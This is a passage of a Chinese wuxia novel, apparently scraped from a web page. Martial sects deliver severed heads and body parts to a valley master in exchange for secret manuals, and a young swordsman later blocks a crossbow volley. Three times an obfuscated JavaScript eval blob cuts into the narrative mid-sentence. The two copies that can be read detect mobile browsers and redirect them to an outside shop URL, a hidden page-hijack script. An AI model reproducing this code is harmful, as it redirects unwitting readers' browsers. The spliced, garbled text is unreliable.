爬了半日山路,腹饿难忍,瞧见桌上有甜点,孟浪随手抓过一个苹果往嘴里塞去。张衡瞧见,眼疾手快,一把打落,低声道:“二哥小心有诈,你瞧其他人可都未动这些甜点茶水。” 孟浪向身后看了一圈,果见其他桌上的吃食分毫未动,心中犯起疑来,低声道:“难不成那老杂碎还会下毒?” 张衡道:“那谁知道?这沐恩谷本就底细不明,路数未知,又开在这深山老林,谁知道他们以赠送秘籍为由做的什么生意,肚子里又装的什么坏水。二来,你想想,方才咱们进来,一路经过的竹笼,溜索,断崖,悬索桥,还有这竹林,哪一处不透着诡异?出门在外,还是小心为上,一切看我眼色行事。” 孟浪听他这么一说,刚刚拿起的桃子复又放下。 年轻人是第一次来到谷中,在静慧身后坐下不久,就见一名须发花白、年逾花甲的老者从竹舍里施施然走了出来,来到场地中央。 年轻人回顾前后左右,目光向在场众人脸上徐徐扫过,心想:“看来这些人都是来领后半部秘籍的。”又见那老者年纪老迈,似有古稀之相,想来便是向各江湖人士分派任务的老谷主,向静慧道:“莫非这位便是沐恩谷的老谷主?” 静慧点头道:“没错,名唤汤应寿。上次就是他给我们派的任务,今天大家都是来兑现后半部秘籍的。” “哦。” 年轻人发出怪异语气。 只听那汤应寿朗声道:“半年前,老夫给崆峒山四方宫安排了取林家当铺大当家林如魁首级一事,可有办妥?” “这等小事,不在话下。” 场中立即有人回应。 孟浪回头,一名彪形大汉从人丛里走了出来。手上拎了一个白布包裹的圆东西,白布血迹斑斑,还在淋淋地往下淋血,神色间甚是得意。来到汤应寿面前,大汉猛地抬手,将那白布包裹的圆东西往他面前一拎,喝道:“拿着。” 汤应寿脸上现出受惊神色。 孟浪小声道:“这货打哪儿来的?” 张衡回道:“此人乃崆峒山四方宫大弟子吴长风,尤擅拳法和掌法,乃四方宫一等一的高手。” 孟浪嗤道:“呵,大名鼎鼎的四方宫就养了这么个目中无人的东西,真他娘的晦气,人品德行还不如我们霹雳帮呢。” 张衡叹道:“二哥,小心祸从口出。” 汤应寿将吴长风手中的东西瞟了一眼,吩咐左右:“验货。” 两名小厮走上前来,接过吴长风手中的圆东西,打开白布,一颗血肉模糊、头发粘了满脸的人头出现。在场众人顿时发出一声惊呼。 只见那头颅面目肿胀,眼皮耷拉至眼睑,舌头长长地伸出来,吊在嘴边,死相十分可怖。坐在最后排的年轻人眉头微微蹙了起来,手中把玩的竹叶停在指间。 小厮查看了半晌,说道:“谷主,没问题,正是林如魁的首级。”汤应寿道:“好,去请孟夫子将剩下半部金乌心经送来。” 小厮将人头包起来,走至距离茅舍不远的一个大竹笼处,扬手一丢,人头不偏不倚地滚进去。孟浪张衡这才看到大竹笼里已黑压压的堆放了不少人头:有的颅顶被人劈裂,血肉模糊;有的脖颈被人割断,断口处仍残留着皮肉撕拉的痕迹;有的面部紧贴着竹篾向外,面目或狰狞、或惊恐、或欢愉地看着外面的人。 现场不少人已发出干呕声音。 “三……三弟……” 孟浪上下牙齿打战:“这……这姓吴的畜生真下得了狠手。” 张衡沉默不语,孟浪一把掐住他的手,道:“三弟,这地儿邪门儿得很,竟敢明目张胆地买凶杀人,还是以赠送秘籍这等冠冕堂皇的方式,真是胆大包天,目无王法了!” 这时,一个中年男子从竹舍后绕了出来。那人一袭青衫,手中握着一柄破扇,走路时腰板挺直,一派温文尔雅的书生模样。待得近了,才看到脸上坑坑洼洼,沟壑纵横,并不光洁,想是受过不少刀剑锥鞭之刑,伤口之深,难以言表。 来到场地正中,中年男子从身后取出心经,递与汤应寿,道:“再这样下去,藏书阁的秘籍都不够送了。” 言罢,敛衽向众人作了一揖,向阁楼行去。张衡目送着他的身形渐渐隐没于竹林之中,向那阁楼望了一眼。只见阁楼有三层之高,一楼的房檐下悬挂了一块匾额,上书“藏书阁”三个字。 张衡低声道:“这位孟夫子应该就是掌管谷中秘籍的先生了。” 孟浪道:“那老杂碎把秘籍都藏在阁楼上,在场这么多人,就不怕大家包藏祸心,一起上去,抢了他的藏书楼?” 张衡竖指于唇,示意他小声,用下颌指了指那阁楼,道:“你瞧那屋檐下装的是什么?” 孟浪定睛看去,只见阁楼的每层屋檐下都如落地鸟雀一般,密密麻麻一片。仔细再看,上面遍布弩机,弩机的箭头齐刷刷对准了在场众人,一副蓄势待发。 孟浪顿觉心中拔凉拔凉,小声骂道:“这老杂碎真不是东西,自打进了这鬼地方,处处透着诡异,到处都是机关。三弟,咱哥俩这是进了龙潭虎穴啦。” 张衡也小声:“没错,一旦有所异动,立时万箭齐发,直取人性命。就算逃过了这千机弩,也躲不过那索命桥,就算躲过了索命桥,也绝无可能凭一己之力从溜索上逃走。老谷主选的这地儿,那叫一个天时地利,易守难攻。二哥,这就叫天堑。” 孟浪道:“我就纳了闷了,他这么兴师动众,以秘籍作交换,让大家去帮他干那昧良心的事儿,究竟为的是什么?那些鸟事儿只是听着下不去手,做起来也不难,他怎地自己不去,还省了赐秘籍的功夫。” 张衡想了想,道:“这个我也不知,兴许是怕脏了自己的手吧。” 两人闲聊间隙,汤应寿道:“听闻贵派的七伤拳威力极大,须内功已臻化境之人方能掌控。几十年来,贵派也只有玄极掌门习得其中秘钥,连贵派师伯黄山都不曾窥得其中精髓,其他弟子内力不深,练了不仅伤人,而且伤己。” 他将心经递与吴长风,道:“这套金乌心经今日便赠予贵派,闲暇之时不妨翻阅看看,待到心经修炼纯熟,深入骨髓,便可化去七伤拳带来的危害,起到护心之效。如此,七伤拳便可惠及贵派所有门人,人人皆得习之。长此以往,贵派要想夺得武林头筹,指日可待。” 他说话时白眉上扬,眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她说话间自带豪气,“不能智取,便只能豪夺,区区一个小派,不在话下。难的不是夺刀,是献刀!我们金刀寨唯一擅使的兵器便是刀,寨里的人爱刀,护刀,喜欢摸刀、藏刀,他们热衷于搜罗全天下的宝刀,对雁行门的这柄鸾凤更是爱不释手。” 汤应寿道:“此事老夫也有所耳闻。” 金木兰走上前去,轻轻抚摸鸾凤的刀柄,目中流露出不舍来,“自从得了这柄宝刀,寨人对它视若至宝,却无人敢练,藏刀吝赏,不愿它为人所知。当得知我要拿这柄宝刀换取剩余的刀谱后,寨人无不义愤填膺,横加阻拦,几欲将我这一寨之主视若仇敌。” “那金寨主又是如何说服门人的呢?” 汤应寿手捋长须,面带微笑。 金木兰将鸾凤从竹木中拔出来,轻轻抚着刀刃,道:“我理解他们的爱刀心切,可我也对金刀寨的前途感到担忧。他们不知,光有宝刀是不行的,还得有绝世刀法。我告诉他们,我们金刀寨的宝刀已经够多了,可是我们何曾拔得过头筹,夺得过天下第一?别说第一,就是武林前十都排不上,就连霹雳帮这种草包帮派都能把我们踩在脚下……” 孟浪一口老痰卡在嗓子眼里。 “就算藏有千把万把的宝刀又能如何,我们还是那个被江湖人最瞧不起的藏刀寨,还是任人欺侮的小门小派。这样的委屈以前的寨主能忍,我金木兰忍不了!” 说着,金木兰将宝刀的刀柄扔至小厮手中,沉声道:“要想门派改头换面,光靠刀是不行的,如何让刀发挥它的真正价值,才是关键所在!所以,纵使寨人极力反对,我还是来了。”她昂起头,面色坚毅道:“我乃一寨之主,我的决定便是号令,谁敢多言?”言罢,向汤应寿伸出手来,道:“刀谱呢?” 汤应寿道:“金寨主果真女中丈夫,胸中自有丘壑,老夫佩服,佩服!”回过身来,吩咐小厮道:“去请孟夫子将剩余的破空刀法取来,赠予这位女英雄!”语声中不无赞叹之意。 听到这里,孟浪“噌”的从椅子上蹦起来,道:“什么玩意儿?!” 听得他这一声吼,众人侧目,望向这边。后排坐的年轻人略略抬眼,脸上也现出疑惑来。 5. 竹林设宴(2) 金木兰没想到会有人在这个当口跳出来,一时怔住。汤应寿脸色在一瞬间变了几变,缓了缓,捋须道:“这位壮士可是对此有何疑问?” 孟□□道:“岂止有疑问,问题大了去了!” “哦?”汤应寿面露微微浅笑,道:“壮士请说。” 孟浪不爽道:“半年前,就是你这老儿给了我们兄弟二人几页破空刀法,让我们哥儿俩去劫那江南贾家的钱财,还答应事成之后将剩余的刀法赠予我二人,何以你今日要将那套刀法赠予这金刀寨的妇人,此等言而无信,莫不是戏耍我们兄弟!” 汤应寿扶了扶额,道:“老夫年纪大了,记性不好,敢问壮士是哪门哪派?” 孟浪不耐烦道:“霹雳帮,孟浪。这是我义弟,张衡。” 汤应寿拱手作揖,微笑道:“原来是霹雳帮的两位副帮主,失敬失敬。” 孟浪听他刻意强调副帮主三个字,心里窝火,骂道:“你他妈管我们正的副的,刀谱拿来!” 汤应寿微微一笑,道:“老夫想起来了,当日老夫是将那三页刀法赠予了你二人,可你二人也答应了老夫一个条件。” 孟浪道:“你教我们去劫那贾家,我们也去了……” “所以……”汤应寿白眉上扬,“东西呢?” “这……”孟浪一时答不上来。 张衡见势不妙,忙道:“汤谷主,我这位哥哥昨晚没太睡明白,有些神志不清,胡言乱语了,抱歉抱歉,多有得罪啊。”说着便将孟浪往座位上拽。 汤应寿微笑道:“老夫还以为没有完成任务的江湖人士今日都缺席了,没想到二位壮士事未成而心有志,长路迢迢地赶来,也足见其心诚了。” 孟浪被他嘲讽,心底火气烧得更旺,一把掐住张衡的胳膊,咬牙道:“这老不死的使坏,压根就没把我们哥俩放在眼里!答应了给我们刀谱,转头就给了别人,岂不欺人太甚!” 张衡皱了皱眉,道:“此事我也觉得蹊跷,他是如何得知我二人没有完成任务的?问也不问,便将那破空刀法径直给了金刀寨,真是怪了。” 孟浪咬牙切齿:“真该捏碎了那把老骨头!”加重了手上力道。 “二哥……”张衡吃痛,“你捏的是我……” 半晌,孟夫子从阁楼出来,将破空刀谱双手奉上。金木兰接过刀谱,随便翻了两翻,神色倨傲地将孟浪张衡瞟了一眼,回到自己的座位上。 孟浪低声道:“她这什么意思,她瞧不起谁?” 张衡道:“她瞧不起你,你拿下她不就行了。” 孟夫子将鸾凤带回阁楼。汤应寿继续清点手中名册:“半年前,老夫让玉琨山弟子取河南顾家镖局总镖头顾长武身体之物,此事可曾办妥?” “这有何难?” 话音刚落,人丛中立时传来一个粗嗓。 孟浪回过头,见那说话之人是一虬髯大汉。长得身姿魁梧,面相凶恶,怀里抱了一只木盒。那木盒从外观看倒像是个普通饭盒。只见那人站起身,扬手一挥,木盒径直朝汤应寿面门飞去。汤应寿脚下后退稍许,脸上现出些许慌乱之色,身旁一名小厮眼疾手快,顺手将木盒接过。 孟浪道:“三弟,此人是谁?” 张衡道:“玉琨派大弟子毛一平。” 汤应寿站定身子,沉声道:“打开吧。” 小厮将木盒打开,从里面取出一个碟子来。众人一看那碟子上放置之物,立时骚动起来。孟浪更是瞠目结舌,只见那白瓷碟上不是别的,竟明晃晃地放置了一对招子。 如琉璃球般大小,白眼球圆咕嘟的,黑眼球极小,几乎凝成了一个黑点,晶体浑浊。毛一平道:“顾长武乃一青盲人,瞳子干,眼球有云翳,谷主大可验货。” 汤应寿道:“剩下的呢?” 毛一平道:“在第二层。” 小厮翻开木盒的第二层,取出了另一只白色托盘。众人定睛,又是一声惊呼。只见那白色托盘上竟赫然放置了一对油耳,一只大鼻,还有上下两瓣厚唇,更恐怖的是,两道粗眉也被人连带皮肉的刮了下来。 “天杀的……”孟浪骂声未落,转头去看张衡,见他也是面色发白,嘴唇微微颤抖。 “这便是顾长武的五官。”毛一平沉声道,“谷主若还不信,请看第三层。” 小厮打开第三层,从里面取出了一只齐肘断臂。 那断臂发黑发黄,肌肉结实,粗大有力。小厮掰开手指,示意给众人看,五根手指又粗又长,指腹与虎口都生了老厚的茧,显是经常握刀所致。小厮握着手臂,微微旋转,手腕上现出了一个刺青,刺青刻着一个“顾”字。 毛一平道:“这正是顾家镖局的唯一标志,谷主尽可查探一番,顾家青盲之人除了顾长武可还有别人。” 汤应寿道:“就算杨家只有他一人瞳子干,也难保招子与胳膊同属一人。” “你……” 毛一平脸现怒色。 似是不想与他过多纠缠,汤应寿摆摆手道:“罢了罢了,去请孟夫子将御寒内经取来。” 少顷,孟夫子从阁楼走出来,将一本内经递与汤应寿。汤应寿双手接过,向毛一平道:“玉琨山地处西域,气候严寒,这本御寒内经每日早晚各练半炷香,长此以往,周身会有一股暖流流动,可增强体魄,达到……” 不等他说完,毛一平已将内经劈手夺过,粗略翻看了两眼,粗声道:“顾长武一命,换本内经秘籍,值了。”对汤应寿看也不看,转身回座位去了。 汤应寿面露尴尬之色,装作不在意地打开手中名册,道:“雪淞派的任务完成了没有?” “回谷主的话,完成了。” 人丛里传来声音,一名雪淞派弟子站了起来。来到汤应寿身前,向汤应寿作了作揖,举止有礼。孟浪道:“此人我认识,排行嵩山老五,名字唤作闫让礼。” 张衡道:“雪淞派闫无虚闫掌门谦以待人,座下六名弟子也被教育得端方有礼,温文尔雅。不仅待人接物,就连名字都起得甚为讲究,大弟子闫一温,二弟子闫信良,三弟子闫怀恭、四弟子闫存俭、五弟子闫让礼、六弟子闫有德。” “闫让礼便如此谦恭有礼,不知其他五名弟子又是何等风采。”话至此处,忽然皱起眉来,“只是……何以御下有方的雪淞派也参与了这次密会,这倒让人想不通了。” 不等汤应寿发话,闫让礼将手中蓝剑往身前一横,温声道:“谷主让晚辈取的兰陵剑已经取来,请谷主笑纳。” 只见他手中的兰陵剑通体淡蓝,泛着荧荧的微光,不像凡俗之物。 此前奉上任务的武林豪杰均一副粗人做派,嗓门粗大,举止鲁莽,有些还腹诽沐恩谷,对汤应寿不满,态度极为傲慢。此时突然出现这样一位玉面公子,温文尔雅,语气和善,汤应寿不由心中愉悦,白眉舒展,微笑道:“公子是如何说动那幽谷老人取来这把兰陵剑的?” 闫让礼微微一笑,道:“不过是投其所好罢了。” “哦?”汤应寿白眉一扬,“阁下意思是并未动武?” 闫让礼温声道:“刀剑无眼,能不动手,自然是不动手的好。再说,此等小事,智取便可,再不济靠一张嘴皮子,软硬兼施,软磨硬泡,何至于动手,刀剑相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468411|201347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向,伤了彼此和气。” 汤应寿微笑道:“阁下聪慧,靠脑力和智计取胜,远比那些纯靠武力和蛮力的门派强了不少。” 此言一出,立时引起在场众多武林人士的不满,人丛中一时议论不断: “怎么说话的?!” “谁靠武力和蛮力了?” “要不是想从你这儿得到点好处,谁想受你这老东西的鸟儿气!” 张衡心想:“这老谷主的脾气还真是古怪,一方面表现得慈眉善目,一方面又说带刺,这么做多少有点挑拨离间了,也不知他心里究竟打的什么主意。” 吴长风见众说纷纭,却只敢在底下小声谩骂,心里不爽,站起身,骂道:“你这老儿,安排我们干的就是杀人的勾当,也好意思腆着老脸阴阳大伙儿心狠手辣。” 金木兰也冷笑:“你让我夺鸾凤,那是雁行门的镇门之宝,不荡平雁行门如何能夺得宝刀?这话说得可真是奇怪。” 毛一平道:“取那顾长武的身体之物,是你的授意,说到底也是你心肠歹毒,没资格指责别人!” 汤应寿被几人公然指责,却神色如常,手捋长须,温和道:“事有可为,亦有不可为,几位明知沐恩谷的条件刁钻苛刻,却还是为了几本秘籍照做,这……怪得了别人?” 闻言,吴长风、金木兰、毛一平纷纷面现尴尬之色。吴长风动了动嘴唇,想要说点什么,却又觉他此言有理,无可辩驳,终是什么也没说。金木兰面露羞愤之色,朝汤应寿翻了个白眼,讪讪坐下了。毛一平一拳砸向桌子,将一张四方桌砸得四分五裂。 本来他们几个只是对沐恩谷有所猜忌、鄙夷,听闻汤应寿一番话,此时看他的眼神中都带了些许愤恨。 孟浪见有热闹看了,嘿嘿两笑,从桌上随手抓起一把瓜子,送至嘴边,这时突然察觉到张衡冷冽的目光逼来,眼一呆,手一怔,一把瓜子全散落身上。 “忘了……” 他讪讪一笑。 张衡表露出不想再强调此事的表情来。长叹一声,终是道:“二哥,你莫要再让我操心了。” 孟浪尴尬地挠了挠头。 汤应寿命小厮将兰陵剑收起来,已有下人前去通知孟夫子。 过了半晌,待孟夫子将秘籍送过来,汤应寿接过秘籍,转交给闫让礼,温声道:“听闻贵派的寒冰神掌独步武林,掌法精妙绝伦,无出其右。这本大罗寒冰神掌在贵派寒冰神掌的基础上做了延伸,增加了三十六式新掌法,提升了原先寒冰的境界。如若修习到位,一双肉掌使将出去,与对方的双掌相触,能让对方的双手立时结出寒冰,到那时,任凭他有天大的本事,也使不出来了。” 闫让礼言谢接过,小心翼翼地捧着秘籍,如获至宝。目光在秘籍上反复看了几遍,由衷叹道:“没想到只是多了‘大罗’二字,便有如神助,师父如若知道,定然大为欣喜。” 汤应寿手捋长须,点头微笑。 随后,陆续又有几家门派领了秘籍。静慧见等了这么久都没轮到自己门派,一下子坐不住了,站起身道:“汤伯伯,何时能轮到我们青衣派啊?” 汤应寿闻言,停下翻阅手中名册的动作,抬起一双昏花老眼,道:“恕老夫记性不好,贵派……接的是什么任务?” 静柔站起身来,从怀中取出一物,置于掌心,道:“江南贾家的传世之宝,楚玉。” 此言一出,孟浪张衡登时傻眼。二人无论如何都没想到,抢在他哥俩前面劫了贾家的竟然会是青衣派的三个尼姑。更可气的是,汤应寿竟然将这项任务同时分给了两个门派,这不是存心挑拨是什么? 6. 竹林设宴(3) 孟浪再也忍不住了,站起身,朝着汤应寿破口大骂道:“操你妈的,吃里扒外的老杂碎,一件事儿你给我们霹雳帮安排了,又教这几个长头发尼姑干,你是生怕我们两派不起冲突啊。你是瞧不起我们哥俩,还是瞧不起我大哥?我看你是一把老骨头活腻歪了,想做我孟某的刀下鬼了。” 说着大步上前,一把捏住汤应寿的左肩,手指微微用力。汤应寿的肩胛骨立时发出轻微碎裂声响,脸现痛苦神色,毫无反抗之力。 “原来不会功夫。”孟浪放声冷笑,“我先结果了你,再教我大哥荡平你这阴祟的谷底!”说着挥起左掌,便向汤应寿的天灵盖拍去! “二哥住手——” 张衡欲要拦截却已来不及了,只见掌风迅疾落下。正当此时,忽而一阵利器声响,孟浪余光瞥见数百支弩箭自藏书楼的屋檐下齐齐射出,直逼面门而来。距离虽远,杀人却在眨眼之间。 心里顿生犹豫:这一掌拍下,汤应寿固然毙命,可自己也难逃十几支弩箭的攻击,到时避无可避,自己又将如何脱身? 汤应寿的命抵得过自己的命吗? 可若想逃过弩箭的追击,眼下只能收手,放了汤应寿。然而这一来一回犹豫之间,一切已经晚了。弩箭迅疾逼至面门,逼得他不得不放开汤应寿,脚下快速后退游走。却见弩箭紧跟脚尖,穷追不舍。孟浪退出几许都未能摆脱,想到自己一条小命就要交代在这里,顿时脸现惊恐之色。 正当此时,眼前忽然一道白芒掠过,只听“叮叮叮叮”,传来铁钉连续撞上兵刃的声音,穷追不舍的弩箭刹那间被尽数拦下。孟浪身周危险解除,缓过气来,缓缓回头,已见一名身穿月白长衫的男子持剑而立,光影明媚,衣袂翩然。 弩箭掉了一地,其间夹杂了几截明晃晃的断剑。孟浪这才看到白衣人手中只剩下一截白色的剑柄,通体的剑刃已在方才与弩箭的撞击中断成几截。 在场诸人目睹了方才生死时速的一幕,俱都面露惊恐之色,纷纷起身观望,现场议论嘈杂声不断。 年轻人持剑站立片刻,突然手中的剑柄不受力地掉落地上,只听“叮”的一声,他手捂右臂单膝跪倒,面露痛苦之色,似乎方才与弩箭的一场交击,受了极大重创。 孟浪勃然大怒,回过头来,见汤应寿经历了方才生死瞬间,却一副面不改色,没事人似的杵在当地,似乎年轻人受伤与他毫无关系,心中怒气更甚,破口大骂:“老杂碎,下这么重的手,老子剐了你!”冲上前去,这时人丛中抢出一个人来,箭步上前,将他拦腰抱住。 孟浪被他从身后死死箍住,挣扎了两下,没有挣开,咬牙道:“三弟,放开我!” 张衡将他箍紧,大声道:“二哥,不可造次。”说着附在他耳旁,压低了声音:“人在屋檐下,不得不低头。出了方才的事,那老谷主总得给大家个说法,先静观其变再说,一切看我眼色行事。” 孟浪听他说的有理,这才不发作了。他为人粗莽,性情冲动,遇事容易急躁,情绪上头,一向不喜欢动脑筋,还好身边有个温端持重的三弟跟着,一路上帮他摆平了不少麻烦事,否则还不知要惹出多少乱子来。 年轻人跪倒在地不过片刻,众人就见一道鲜红的血液自他右手衣袖的袖口缓缓淌了出来。静柔拨开人群冲上前来,一把扶住他摇摇欲坠的身子,声音发颤道:“公……公子,你……你的手……”目光落在月白衣角那摊怵目惊心的血迹上,脸色瞬间白了。 年轻人没有答话,头只是向下耷拉着。静柔小心地去查看他流血的那条胳膊,刚捋起半截衣袖,便见里面整条胳膊染满了血,鲜红黏腻,触目惊心。 “公……公子……”她心疼地看着跪在自己面前的年轻人,声音开始哆嗦。见他身子颤颤巍巍,就要倒下,忙用自己的右肩抵住了他的左肩。 汤应寿缓和了神色,走近前来,道:“这位小居士,方才那枚玉璧可还在你的手中?” 静柔这才想起,缓缓伸出手,张开右手的五指。突然感到掌心一阵刺痛,只见握在掌心的那只玉璧已不知在何时断成三截。玉璧上的龙图腾被拦腰折断,唯有质地仍白如凝脂。 “这……” 静柔花容失色。 汤应寿也是一脸震惊,震惊中带着沮丧。 “不……不是我……” 静柔眼瞅着汤应寿一副如遭重创的脸色,声音哆嗦起来,“我……方才一直握得好好的,手掌也未曾用力,怎么会无故裂开呢?” 汤应寿仰头长叹,脸现悲怆之色:“天意,一切都是天意……”声音里竟带了一丝悲凉。 这时,静姝从人群里挤进来,一把将她推开,道:“教你好生护着,怎么护成这样了!我们还怎么拿到后半部剑谱?” “师姐,真的不是我……”静柔心里委屈,“白玉本就有韧性,就算我手中再用力,也决计捏不断它,真的不是我……”声音里已带了哭腔。 “是我。” 忽然,一个低沉的嗓音轻轻响起。 年轻人抬起头来,泛白的脸颊现出大战后的疲惫。众人这才看到他的嘴角也已溢出了不少血。 “是我的剑气破坏了玉璧。” 说着,他手捂右臂,在静柔的搀扶下艰难地站了起来。见静柔掌心溢血,费力扯下衣角的一块布料,一头含在嘴里,拿着另一头在她的掌心反反复复缠了好几圈。 “公子……” 静柔眼角挂泪,却不知该说什么。 “无妨。” 年轻人勉强一笑,道:“是我的剑气过于激烈,震裂了旧伤,回头上些膏药就好了,不碍事。” 静柔眼含热泪地点点头。 汤应寿道:“一剑光寒定九州。少侠方才使的那招七月飘雪,虽未臻化境,却也摆明了出处。敢问阁下衡山何许人也,季怀璋又是你什么人?” 年轻人拭去嘴角沁出来的血丝,淡声道:“晚辈名唤季歌,表字聆溪,家父季怀璋,是为衡山问心剑派掌门。” 汤应寿面色一滞,道:“你是……季怀璋的儿子?” “你是……季歌?” 季歌听他声色有异,怪道:“您认得家父?或是……您认得我?” 汤应寿面色又是一滞。怔怔看了他许久,轻轻摇头,道:“不认识,只是隐隐觉着有些面熟。” 顿了顿,“九州剑法只传于问心剑派掌门人,少侠方才使出这套剑法之时,老夫便猜测你与季怀璋之间定然有什么关联,果然……” 季歌笑道:“这套剑法晚辈只从家父那里学了些皮毛,不成气候,否则方才也不会受这些伤了。”说着将流血的那条手臂微微一抬。 汤应寿见他的右边衣袖已被鲜血浸透,并且还在源源不断地向外渗血,于是道:“找野郎中拿些止血化淤的膏药来。” 膏药很快送来了,季歌就地脱下衣袖,让谷里的小厮们帮忙上药。 伤口不严重,均是被内力震裂的旧伤。沟壑纵横,手臂连带肩膀有七八道。 季歌由着他们上药,对汤应寿道:“看来您和家父是旧识了。” 汤应寿道:“非也。令尊为人光明磊落,堂堂正正,乃武林中赫赫有名的大侠,岂是我这等糟老头子能高攀的。” 季歌低头一笑,道:“家父若是听了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468412|201347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这番话,想必也会心感惭愧。” 汤应寿道:“不然。” “江湖人都知,令尊非但武功高强,而且胆识过人。几年前,贵派一名弟子为东宫鹰犬所擒,东宫欲要借以打探江湖隐秘。令尊知晓后,二话不说,单枪匹马便杀入了东宫,单挑大内十大高手,硬是凭一己之力救出了门下弟子。如此胆魄,又有谁堪比肩?” 季歌道:“都是十几年前的旧事了,您记得如此清楚。” 汤应寿道:“实是令尊智勇双全,无人能及,许多英雄事迹在江湖上广为流传,教人记住简单,忘掉却是不易。” 说着幽幽叹气,“当年东宫咽不下这口气,派兵一路杀来,包围了整座衡山,还扬言令尊若不交出那名弟子,朝廷的铁蹄便会荡平整座衡山。 “当时,江湖上人人心惊胆战,都想看看令尊作何反应。谁知令尊稳坐太师椅内,羽扇轻摇,脸上一派云淡风轻:‘朝廷铁蹄踏入衡山之际,便是东宫陷落之时,吾与千万门人同在’。 “此言一出,东宫上下无不胆寒。朝廷的大军没日没夜地围困衡山,但见山前无人盯防,山头无人戒备,守了两日愣是一个人都不敢进山。终于在第三日的傍晚偃旗息鼓,退兵了事。” 说到这里,汤应寿微微一笑,道:“这便叫不战而屈人之兵。” 季歌笑道:“这等陈年旧闻,家父最难启齿,您老可别折煞他了。” “不然。”汤应寿再次感叹,“令尊对自己的门人尚且如此高义,对待自己的兄弟,便更是肝胆相照,义薄云天了。此等人物,端的是高风亮节,不同流俗,老夫佩服佩服!” 季歌见他如此高赞父亲,心里高兴,待到小厮上完药,站起身来,对着汤应寿作了深深一揖,道:“家父若是听到您这般夸他,心中定然大为欢喜。如有机会,我可介绍您与家父认识,想来您二位性情相投,定然相谈甚欢。” 汤应寿却摇了摇头,道:“老朽提及往事,纯属景仰季掌门为人,断无攀交之意。如此人物,光彩照人,又岂会与老朽相交,可惜可惜……”说着轻轻叹气。 季歌方才说那些话本是出于一腔少年心性,见面前这位老者对父亲极为钦佩仰慕,便想让他们结交认识,却没想他会果断拒绝,一点都不委婉,不由大失所望,心想:“这老头脾气真是古怪。” 正感落寞,转眼瞥见静柔手中握着已经断裂的玉璧涟涟落泪,一副楚楚可怜模样,当下于心不忍,道:“汤谷主,您对家父的敬仰之情,晚辈感念于心。只是方才小尼姑手中的玉璧被毁,是晚辈没有控制好剑气所致,并非她本人之过,还望您大人大量,将剩余的无极剑谱赐予青衣派三人。至于那块玉璧……我设法补救。” “你当如何补救?” 汤应寿微微侧目。 季歌道:“既是劫财,那便另寻土豪劣绅,将他的家财洗劫一空,给您送来。” 汤应寿道:“我要的不是劣绅的万贯家财,而是那块玉,也只有那块玉。” 季歌道:“那我便攀山越岭,去这天底下寻一块一模一样的玉。” “孩子话。” 汤应寿道:“你可知,这天底下根本没有一模一样的东西?” 季歌欲要再说,已见汤应寿摆摆手道:“罢了罢了,天意如此,此事就此作罢。” 说完,便吩咐小厮去请孟夫子了。 见他不再计较,青衣派三尼姑脸上立时现出喜色。静柔破涕为笑,沾在睫毛上的清泪兀自震颤不已。 她缓步上前,将已经断成三截的玉璧小心奉上。汤应寿接过,看着那块已经不复完好的楚玉,脸现痛惜之色。 7. 竹林设宴(4) 这时孟夫子捧着剑谱走来。与季歌擦肩时,脚步忽然顿住,侧过头,目光阴冷地将他从上到下扫了一遍,语气生硬道:“你就是季玉的儿子?” 季歌一怔,正要答话,孟夫子却已移开目光,将剑谱往汤应寿手里一塞,转身便走。 季歌只觉莫名其妙,正要问他此言何意,汤应寿已道:“这位是孟夫子,脾气有些古怪,莫要见怪。” “哼。” 将剑谱交给汤应寿,孟夫子朝季歌一甩衣袖,转身离去。季歌注视着他冷漠的背影渐渐隐于竹林中,心中大为疑惑,道:“孟先生似乎不怎么喜欢我。” 汤应寿微笑道:“孟夫子本就性情古怪,又从未出过谷,突然见到生人,难免会脾气不好,季少侠莫要怪罪才是。” 季歌忙道:“没有没有。” 青衣派三人拿到后半部无极剑谱,一副喜出望外神色。孟浪心中不平,忿忿道:“老杂碎,你骗了我们哥俩,当如何补偿?” 说着双手指节捏出声响来:“我告诉你,方才没杀你,是老子心软。老子要取你性命,易如反掌,你敢戏耍老子,老子现在照样能结果了你。”说着扬起手来。 季歌怕他们又起冲突,忙道:“孟兄,在下救你那一下,已使出浑身解数。你若再引得阁楼上的弩机万箭齐发,在下可爱莫能助了。” 其实孟浪方才那么说,只想吓唬吓唬汤应寿,没想到被季歌当众拆穿,脸上顿时现出羞愤来。但一想到他救了自己一命,还欠他一个人情,只好硬着头皮放下手来。 张衡却道:“汤谷主,我二哥放过你,不代表你不该就此事对我们哥俩做个解释。 “我很想知道,你为何在将这项任务派与我兄弟二人后,又交给了青衣派的弟子,这不是公然激化我们两派的矛盾么?” 汤应寿看了他一眼,脸上现出奇异的微笑。半晌,手捋长须,道:“老夫记得那天是上午给二位安排的任务,二位领了任务便离开了沐恩谷,何以当日傍晚,谷中有家丁反映。二位还未离开这落霞山呢?” 话一出口,张衡一张脸立时难看起来。 孟浪心中愤懑不平,道:“老子迷路了怎地?” “那便是了。” 